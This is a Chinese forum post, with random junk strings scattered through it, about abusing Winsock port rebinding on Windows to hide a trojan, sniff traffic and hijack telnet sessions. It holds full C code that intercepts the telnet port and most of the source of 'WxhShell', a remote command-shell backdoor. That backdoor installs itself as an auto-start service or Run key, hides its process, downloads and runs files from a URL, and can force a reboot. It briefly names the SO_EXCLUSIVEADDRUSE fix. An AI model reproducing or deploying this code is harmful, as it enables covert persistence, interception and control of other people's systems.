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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QI#*5zm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V4eng "  
Wz-3?EQ  
  saddr.sin_family = AF_INET; s"=F^#  
YNg\"XjJM<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _(6B.  
[+ 'B Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wyrI8UY  
hD$p;LF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :PD`PgQ  
`\ef0  
  这意味着什么?意味着可以进行如下的攻击: }(+=/$C"#  
uZo`IKJ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c{,y{2c]LT  
=X`]Ct8 Z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /NW>;J}C  
&,N3uy;Gc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (~G5t(+  
Gf H*,1x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ii_|)udz  
:m* !?QGdL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G9i&#)nWr  
CGd[3}"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U0h )pdo  
]_ejDN\>{V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L}}=yh6r  
=mKfFeO.  
  #include Q{AZ'XV  
  #include ~U"by_  
  #include Mhb '^\px  
  #include    H@%7\g,`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vo(g0Au)  
  int main() pcI&  
  { M<{5pH(K  
  WORD wVersionRequested; ]pOYVf *$  
  DWORD ret; C#U< k0R  
  WSADATA wsaData; z^gQ\\,4  
  BOOL val; `1fJ:b/M  
  SOCKADDR_IN saddr; {PODisl>\D  
  SOCKADDR_IN scaddr; W;Ud<7<;Z  
  int err; j-lSFTo  
  SOCKET s; &'5@azU  
  SOCKET sc; t} *l?$`  
  int caddsize; q_<*esZ,  
  HANDLE mt; +36H%&!  
  DWORD tid;   MkG`w,  
  wVersionRequested = MAKEWORD( 2, 2 ); k9}Q7)@  
  err = WSAStartup( wVersionRequested, &wsaData ); t] r,9df'  
  if ( err != 0 ) { T-a&e9B  
  printf("error!WSAStartup failed!\n"); 'Q:i&dTg  
  return -1; cWN d<=Jp  
  } MzEm*`<  
  saddr.sin_family = AF_INET; HGO#e  
   !,cQ'*<W8-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z/2,al\  
3]O`[P,*%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IL~]m?'V(  
  saddr.sin_port = htons(23); P0%N Q1bn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n-b>m7O(  
  { k{gl^  
  printf("error!socket failed!\n"); 42rj6m\  
  return -1; fL ~1  
  } ?,ZELpg n  
  val = TRUE; = EQN-{#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w^06z,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H$z>OS_6U  
  { BFBR/d[&  
  printf("error!setsockopt failed!\n"); m b%C}8D  
  return -1; W(;x\Nc7  
  } zKIGWH=qqm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;_mgiKHg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]3n, AHA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c3=-Mq9Q  
,>D ja59  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8[8|*8xqs  
  { oN *SRaAp  
  ret=GetLastError(); kQ@gO[hS  
  printf("error!bind failed!\n"); UZzNVIXA%  
  return -1; ]i-P-9PA4  
  } ^I]LoG:  
  listen(s,2); 'e}uvbK  
  while(1) =yl4zQmg$  
  { v1 LKU  
  caddsize = sizeof(scaddr); `wNm%*g  
  //接受连接请求 ).pO2lLF4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /8f>':zUb  
  if(sc!=INVALID_SOCKET) an3~'g?  
  { AXz-4,=xX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *:a'GC%/  
  if(mt==NULL) %lN2n,AK  
  { !\QeBd+  
  printf("Thread Creat Failed!\n"); wk" l[cH>  
  break; 3(1 ]FKZtt  
  } b6 $,Xh  
  } T!MZ+Ph`F  
  CloseHandle(mt); d; 9*l!CF  
  } iJFr4o/R  
  closesocket(s); hT?6sWa  
  WSACleanup(); a "R7JjH  
  return 0; %1Yz'AiW[  
  }   oFWt(r   
  DWORD WINAPI ClientThread(LPVOID lpParam) +`ai1-vw  
  { ZAMeqPt  
  SOCKET ss = (SOCKET)lpParam; DW#Bfo  
  SOCKET sc; r]v&t  
  unsigned char buf[4096]; yH*hL0mO  
  SOCKADDR_IN saddr; rvW!7 -R  
  long num; 2;8Xz 6T  
  DWORD val; $30oc Tt{  
  DWORD ret; W7t >&3l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |~z3U>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    Do|]eD  
  saddr.sin_family = AF_INET; vB^uxdt|m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]fj-`==  
  saddr.sin_port = htons(23); ^V[/(Lq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )CJES!! W  
  { M&r2:Whk  
  printf("error!socket failed!\n"); LIF|bE9kd  
  return -1; u^Vh .g]  
  } jAXR`D  
  val = 100; cv2]*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2gt+l?O<PS  
  { ^EF'TO$  
  ret = GetLastError(); yf!,4SUkU  
  return -1; qP7G[%=v  
  } nTPB,QE<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2UiR~P]%  
  { ~/2g)IS  
  ret = GetLastError(); {;*}WPYb  
  return -1; ]bm=LA  
  } "f4<B-9<$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a5|@R<iF  
  { NetYg]8`  
  printf("error!socket connect failed!\n"); ^=^$tF  
  closesocket(sc); _K'7(d0z  
  closesocket(ss); JBz}|M D  
  return -1; 9RH"d[%yc}  
  } BWh }^3?l  
  while(1) :}Ok$^5s  
  { OOokhZd`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /Y,r@D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F|Q H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P^pFqUL7#  
  num = recv(ss,buf,4096,0); K/^ +eoW(  
  if(num>0) WfZF~$li`  
  send(sc,buf,num,0); C ZJV_0  
  else if(num==0) .oEbEs  
  break; iRNLKi  
  num = recv(sc,buf,4096,0); `?"6l5d.]  
  if(num>0) fxd0e;NAAh  
  send(ss,buf,num,0); B8H75sz  
  else if(num==0) YGp)Oy}:  
  break; b HE7yv [  
  } `N}d}O8   
  closesocket(ss); S/.^7R7{f  
  closesocket(sc); oaK.kOo  
  return 0 ; JE hm1T  
  } ,X68xk.'  
eCWPhB 6l  
dQD$K|aUp  
========================================================== sHdp  
_\\ -md:  
下边附上一个代码,,WXhSHELL M(enRs3`O  
L2fZ{bgy  
========================================================== )T1iN(Z  
}^Gd4[(,g  
#include "stdafx.h" :_xh(W+2<  
&$=!dA  
#include <stdio.h> */(I[p  
#include <string.h> K*Ks"Vx  
#include <windows.h> 'H|~u&?  
#include <winsock2.h> qM",( Bh  
#include <winsvc.h> ]]2k}A[-I  
#include <urlmon.h> 5dl,co{q  
 w_Uh  
#pragma comment (lib, "Ws2_32.lib") _fn1)  
#pragma comment (lib, "urlmon.lib")  @pFj9[N  
71"+<C .  
#define MAX_USER   100 // 最大客户端连接数 ]a?bzOr,  
#define BUF_SOCK   200 // sock buffer C5*xQlCq}  
#define KEY_BUFF   255 // 输入 buffer | kXm}K  
};b1ahaG  
#define REBOOT     0   // 重启 irKIy  
#define SHUTDOWN   1   // 关机 k_ Y~;P@  
Dz;HAyPj  
#define DEF_PORT   5000 // 监听端口  \S4SI  
mrM4RoO  
#define REG_LEN     16   // 注册表键长度 Qhn;`9+L  
#define SVC_LEN     80   // NT服务名长度 fvqd'2 t  
T2=HG Z  
// 从dll定义API s_[VHPN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DMn4ll|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $ 4m*kQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $SY]fNJQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y 9L14  
,DQjDMjrf  
// wxhshell配置信息 z-r2!^q27  
struct WSCFG { r2\c'9uH  
  int ws_port;         // 监听端口 -Q"hZ9  
  char ws_passstr[REG_LEN]; // 口令 j}f[W [2  
  int ws_autoins;       // 安装标记, 1=yes 0=no HC*?DJ,  
  char ws_regname[REG_LEN]; // 注册表键名 RLVAT M5  
  char ws_svcname[REG_LEN]; // 服务名 lG:kAtx4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !L$x:/R9M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?X9U TOx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4w93}t.z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z[?mc|*x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e,0-)?5R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3n]79+w@z  
* F4UAQzYb  
}; nP3  E  
t;NV $!!  
// default Wxhshell configuration `yO'[2  
struct WSCFG wscfg={DEF_PORT, HrM$NRhu  
    "xuhuanlingzhe", rD &D)w  
    1, O_~7Glu  
    "Wxhshell", Yh<WA>=  
    "Wxhshell", -_N)E ))G  
            "WxhShell Service", ;9a 6pz<  
    "Wrsky Windows CmdShell Service", `]i []|  
    "Please Input Your Password: ", %*}Y6tl'|  
  1, "ju'UOcS/  
  "http://www.wrsky.com/wxhshell.exe", |~0UM$OB^3  
  "Wxhshell.exe" i|WQ0fD  
    }; 4hs)b  
B?bW1  
// 消息定义模块 >jg0s)RA'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r! %;R?c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |nUl\WRd\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %aRT>_6"  
char *msg_ws_ext="\n\rExit."; WXw}^v  
char *msg_ws_end="\n\rQuit."; GVGlVAo|@  
char *msg_ws_boot="\n\rReboot..."; V3Z]DA  
char *msg_ws_poff="\n\rShutdown..."; g}LAks  
char *msg_ws_down="\n\rSave to "; 0#_'o ,  
i3$$,W!  
char *msg_ws_err="\n\rErr!"; fyknP)21I  
char *msg_ws_ok="\n\rOK!"; L gk   
dT|vYK}\  
char ExeFile[MAX_PATH]; sD;M!K_  
int nUser = 0; a_~=#]a  
HANDLE handles[MAX_USER]; k[j90C5  
int OsIsNt; >l']H*&B<  
80OtO#1y  
SERVICE_STATUS       serviceStatus; I:98 $r$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 64>krmVIe  
Z<?OwAWz  
// 函数声明 @(g_<@Jz  
int Install(void); baV>N[F&  
int Uninstall(void); W/$Zvl  
int DownloadFile(char *sURL, SOCKET wsh); QS[L~97m2M  
int Boot(int flag); $'rG-g!f\  
void HideProc(void); w"Y` ]2  
int GetOsVer(void); RE2&mYt  
int Wxhshell(SOCKET wsl); 6w8" >~)Z  
void TalkWithClient(void *cs); Yr.sm!xA  
int CmdShell(SOCKET sock); ^TY ;Zp  
int StartFromService(void); "Jq8?FoT  
int StartWxhshell(LPSTR lpCmdLine); (V`Md\NL`  
i%m"@7.kk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W,5Hx1z R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W !w,f;  
XRx+Dddt;  
// 数据结构和表定义 T;TA7{B  
SERVICE_TABLE_ENTRY DispatchTable[] = b?X.U}62_  
{ -VKS~{  
{wscfg.ws_svcname, NTServiceMain}, +ZMls [  
{NULL, NULL} @mP]*$00  
}; @k[R/,#'[t  
B~o\+n  
// 自我安装 B`*ZsS=R-  
int Install(void) Bj k]ZU0T  
{ JlMT<;7\  
  char svExeFile[MAX_PATH]; BdlVabQyKW  
  HKEY key; 5` Te \H  
  strcpy(svExeFile,ExeFile); I2nF-JzD2a  
3vcO!6Z5  
// 如果是win9x系统,修改注册表设为自启动 t`*!w|}(1  
if(!OsIsNt) { ~\{^%~[48  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *Qugv^-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~U;rw&'H  
  RegCloseKey(key); }ci#>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3"o"fl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s! n<}C  
  RegCloseKey(key); (WJ${OW  
  return 0; ? A(QyaKz  
    } =]:>"_jN  
  } 64hk2a8  
} 4`JH&))}  
else { iw*Nq,(  
afYc\-"  
// 如果是NT以上系统,安装为系统服务 /|xra8?H[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J7r|atSk  
if (schSCManager!=0) fS~;>n%R  
{ oc8:r  
  SC_HANDLE schService = CreateService =Umw$+fJr  
  ( sB;@>NY  
  schSCManager, 8_T6_jL<  
  wscfg.ws_svcname, 5:'hj$~|\1  
  wscfg.ws_svcdisp, B}PIRk@a1  
  SERVICE_ALL_ACCESS, 8\{^|y9-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X]P:CY  
  SERVICE_AUTO_START, C@th O  
  SERVICE_ERROR_NORMAL, xg)v0y~  
  svExeFile, E<yW\  
  NULL, p.LFVFPT  
  NULL, v\p;SwI   
  NULL, \&H nKhI  
  NULL, *S/_i-ony  
  NULL H$I =W>;  
  ); L!=QR8?@E  
  if (schService!=0) ~gGZmT b  
  { 6Cn+e.j@  
  CloseServiceHandle(schService); _i/t?7  
  CloseServiceHandle(schSCManager); _YF%V;X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `FoxP  
  strcat(svExeFile,wscfg.ws_svcname); 7Hm3;P.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (V4 ~`i4V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &hRvol\J  
  RegCloseKey(key); xO-+i\ ZV  
  return 0; y~)1 1]'>  
    } aH^RoG}  
  } &^W|iXi#  
  CloseServiceHandle(schSCManager); I1PuHf Qs  
} =}.EY iD  
} m 9/}~Y#k  
m=YU2!Mb  
return 1; K_dOq68_  
} kT;S4B  
J>/w5$h5  
// 自我卸载 OF\rgz  
int Uninstall(void) =jN *P?  
{ mauI42  
  HKEY key; o<N  nV  
k1QpKn*  
if(!OsIsNt) { V O3x~E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8QM(?A  
  RegDeleteValue(key,wscfg.ws_regname); ]Ux<aiY]a  
  RegCloseKey(key); ^k]XEW{PG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1Z9qjV%^  
  RegDeleteValue(key,wscfg.ws_regname); b j'Xg  
  RegCloseKey(key); f"<O0Qw  
  return 0; 7AObC4 g  
  } B'fb^n<  
} K"r*M.P>  
} @;'o2   
else { &}A[x1x06)  
)a-Du$kd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 92 [; Y  
if (schSCManager!=0) 3\B>lKhQ  
{ 2RX!V@z.G  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sQ fFu  
  if (schService!=0) L31HG H2l  
  { 8?%-'z.  
  if(DeleteService(schService)!=0) { YxP&7oq  
  CloseServiceHandle(schService); U-|NY  
  CloseServiceHandle(schSCManager); uXKERzg  
  return 0; Ry'= ke  
  } kO}AxeQ  
  CloseServiceHandle(schService); +t?3T-@Ks  
  } ndkti5L,   
  CloseServiceHandle(schSCManager); Cvf[/C+  
} B#M5}QT|2  
} a]MX)?  
% ClHCoyA  
return 1; ; d J1  
} -q*i_r:,  
} q$ WvY/  
// 从指定url下载文件 |cR;{Z8?_  
int DownloadFile(char *sURL, SOCKET wsh) c`o7d)_Ke  
{ ]bK=FIK2  
  HRESULT hr; 9pX&ZjYP-  
char seps[]= "/"; T87 m?a$  
char *token; svq<)hAf<  
char *file; {QwHc5Bf  
char myURL[MAX_PATH]; @0F3$  
char myFILE[MAX_PATH]; 6*3.SGUY  
RS^lKJ1 U  
strcpy(myURL,sURL); L>3x9  
  token=strtok(myURL,seps); hy`?E6=9+  
  while(token!=NULL) gy_>`16K  
  { K2<9mDn&  
    file=token; wbst8 *$  
  token=strtok(NULL,seps); k<" oiCE  
  } k@'#@ t  
RR]CW  
GetCurrentDirectory(MAX_PATH,myFILE); zaK#Z?V}  
strcat(myFILE, "\\"); D`$hPYK|_  
strcat(myFILE, file); ^G.B+dG@`x  
  send(wsh,myFILE,strlen(myFILE),0); j!7{|EQFcl  
send(wsh,"...",3,0); SF>c\eTtx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W#hj 1  
  if(hr==S_OK) < Pky9o;  
return 0; f>N!wgo[  
else "*Tb" 'O  
return 1; v uoQz\  
{\:{[{qF  
} D>LZP!  
;<(W% _  
// 系统电源模块 ;ShJi  
int Boot(int flag) 28UU60  
{ JW3B'_0  
  HANDLE hToken; i*@< y/&'  
  TOKEN_PRIVILEGES tkp; iT%} $Lu~  
yc?a=6q'm  
  if(OsIsNt) { }#n;C{z2e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x;8A!8w  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AD|2q M))  
    tkp.PrivilegeCount = 1; j'HZ\_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <1t*I!e_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0Nnsjh  
if(flag==REBOOT) { 1q,{0s_kp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 23DiW#o'  
  return 0; OUhqM VX9C  
} ;N 0~;I  
else { yge,8i)c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {o.FlX  
  return 0; U 15H2-`  
} opc/e  
  } ~NpA".PB  
  else { A}3=561F?5  
if(flag==REBOOT) { Vz=PiMO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -(~!Jo_*'  
  return 0; "-vW,7y  
} f PM8f  
else { *U P@9D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EV*IoE$W]=  
  return 0; @n{JM7ctJ  
} E.Jkf\  
} NnT1X;0W  
<gQIq{B?  
return 1; j,"@?Wt7  
} (A~/'0/  
Z2'Bk2 L  
// win9x进程隐藏模块 1$p2}Bf {n  
void HideProc(void) M!REygyx  
{ F!]lU`z)=  
7~5ym15*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K>DR Jz  
  if ( hKernel != NULL ) Vnr[}<L  
  { \cUC9/ b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VB, ?Mo}R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4}eepJOn  
    FreeLibrary(hKernel); qa0 yg8,<  
  } $ >u*} X9  
{z")7g ]l  
return; -bSSP!f  
} Nw1#M%/!r!  
A^y|J ` k|  
// 获取操作系统版本 "saUai4z  
int GetOsVer(void) \xnWciQ#{  
{ ^HqY9QT2  
  OSVERSIONINFO winfo; v33dxZ'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1ke g9]  
  GetVersionEx(&winfo); &3TEfvz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &QGdLXOn  
  return 1; b"vv>Q~U  
  else V;:jZpG  
  return 0; P8*=Ls+-F  
} Cc%LztP>  
rU2%dkTa  
// 客户端句柄模块 K"4>DaK2P  
int Wxhshell(SOCKET wsl) ck.w 5|$  
{ \v.C]{Gzc  
  SOCKET wsh; o1h={ao  
  struct sockaddr_in client; .U?'i<  
  DWORD myID; OslL~<  
cM$P`{QrM  
  while(nUser<MAX_USER) 8>WC5%f*  
{ 2&^]k`Aj6D  
  int nSize=sizeof(client); ih P|E,L=L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YW60q0:  
  if(wsh==INVALID_SOCKET) return 1; A8oo@z68n>  
+gJ8{u!=k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o!{w"K  
if(handles[nUser]==0) C ihAU"  
  closesocket(wsh); /p+>NZ"b  
else ~1W x =  
  nUser++; }}>q2y  
  } 32/MkuY^u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DW_1,:,?7l  
}L#_\  
  return 0; r0,:J   
} F pa_qjL;  
:F{:Z*Fi0  
// 关闭 socket ;I}kQ!q  
void CloseIt(SOCKET wsh) &' Ne! o8  
{ 9&_<f}ou  
closesocket(wsh); (<}&DE  
nUser--; /q5v"iX]T  
ExitThread(0); 37|&?||  
} ak |WW]R  
z2QP)150  
// 客户端请求句柄 s1h/}  
void TalkWithClient(void *cs) [N#, K02mk  
{ :]^P1sH[  
or';A'k  
  SOCKET wsh=(SOCKET)cs; i5K[>5  
  char pwd[SVC_LEN]; F=a<~EpZ  
  char cmd[KEY_BUFF]; 1M 781  
char chr[1]; ZGYr$C~  
int i,j; O2f-5Y$@  
& '}/f5s|  
  while (nUser < MAX_USER) { >V*mr{/1  
l33Pm/V2?  
if(wscfg.ws_passstr) { O^^C;U@U<1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q^e}?v%=%3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y<Fz)dQo  
  //ZeroMemory(pwd,KEY_BUFF); {O`w,dMOI  
      i=0; '4|-9M3f  
  while(i<SVC_LEN) { }9W4"e2)  
?l^1 *Q,  
  // 设置超时 zN"J}r:  
  fd_set FdRead; P)MDPI+~  
  struct timeval TimeOut; jg\Z;_!W  
  FD_ZERO(&FdRead); ZfgJ.<<  
  FD_SET(wsh,&FdRead); N,;5{y1;J  
  TimeOut.tv_sec=8; S7L=#+Z  
  TimeOut.tv_usec=0; Ksy -e{n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j&Wl0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >w^YO25q  
k+8q{5>A<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @vrV*!  
  pwd=chr[0]; %]8qAtV^3j  
  if(chr[0]==0xd || chr[0]==0xa) { %+K<<iyR|  
  pwd=0; |>JS!NM I  
  break; Wu_kx2h  
  } V*iH}Y?^p  
  i++; nY`RR C  
    } 2VJR$Pao  
%^>ju;i^O  
  // 如果是非法用户,关闭 socket !Y\D?rKZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <RG|Dx[:=  
} DFd%9*N  
NF0%}II&xK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o)2W`i&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  )8UWhl=  
t[oT-r  
while(1) { ZObhF#Y9  
t{WzKy  
  ZeroMemory(cmd,KEY_BUFF); O2BDL1o  
LM-J !44  
      // 自动支持客户端 telnet标准   hijgF@  
  j=0; GrAujc5|  
  while(j<KEY_BUFF) { p n.T~"%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `/ q|@B7  
  cmd[j]=chr[0]; ,J{ei7TN  
  if(chr[0]==0xa || chr[0]==0xd) { f1_<G  
  cmd[j]=0; OI0;BBZ  
  break; d~`x )B(  
  } ZO)S`W  
  j++; E8n)}[k!0  
    } 9J>&29@us0  
nCj2N,mT  
  // 下载文件 NZ-\h  
  if(strstr(cmd,"http://")) { p-zXp K"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [vHv0"   
  if(DownloadFile(cmd,wsh)) /Ya_>+oo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NCk r /#!  
  else U]vYV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X90J!  
  } r.>].~}4  
  else { TT4./R:  
'b#0t#|TM  
    switch(cmd[0]) { I9 mvt e  
  EVVP]ND  
  // 帮助 S!G(a"<W  
  case '?': { \e'R @  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <p\6AnkMr  
    break; YJ;j x0  
  } Eg2[k.{P  
  // 安装 ae0> W  
  case 'i': { RQ'H$r.7g  
    if(Install()) 'F _8j;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >9(hUH  
    else ~D5\O6mU-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OQ>x5?um  
    break; mysetv&5  
    } Rx);7j/5  
  // 卸载 nZ@&2YPlem  
  case 'r': { 5c^Z/ Jl$c  
    if(Uninstall()) u a~CEs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5KDGSo  
    else ""1^k2fj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sZL#xZ5 Df  
    break; fD07VBS yl  
    } bX*Hi#J~A  
  // 显示 wxhshell 所在路径 _`_%Y(Xat  
  case 'p': { w - Pk7I  
    char svExeFile[MAX_PATH]; 3&[>u;Bp  
    strcpy(svExeFile,"\n\r"); DiEluA&w9  
      strcat(svExeFile,ExeFile); '6xQT-sUih  
        send(wsh,svExeFile,strlen(svExeFile),0); i 4%xfN  
    break; dz *7gL;7G  
    } MwR 0@S}*  
  // 重启 ?I [8'  
  case 'b': { .Y3pS/VI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z(fAnn T?  
    if(Boot(REBOOT)) y6IXdW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g|<]B$yN#  
    else { -x'z XvWZ  
    closesocket(wsh); 839IRM@'5  
    ExitThread(0); USVqB\#  
    } KTn}w:+B\  
    break; mN>h5G>a  
    } ~d%Pnw|  
  // 关机 FFH_d <q  
  case 'd': { NDs!a  
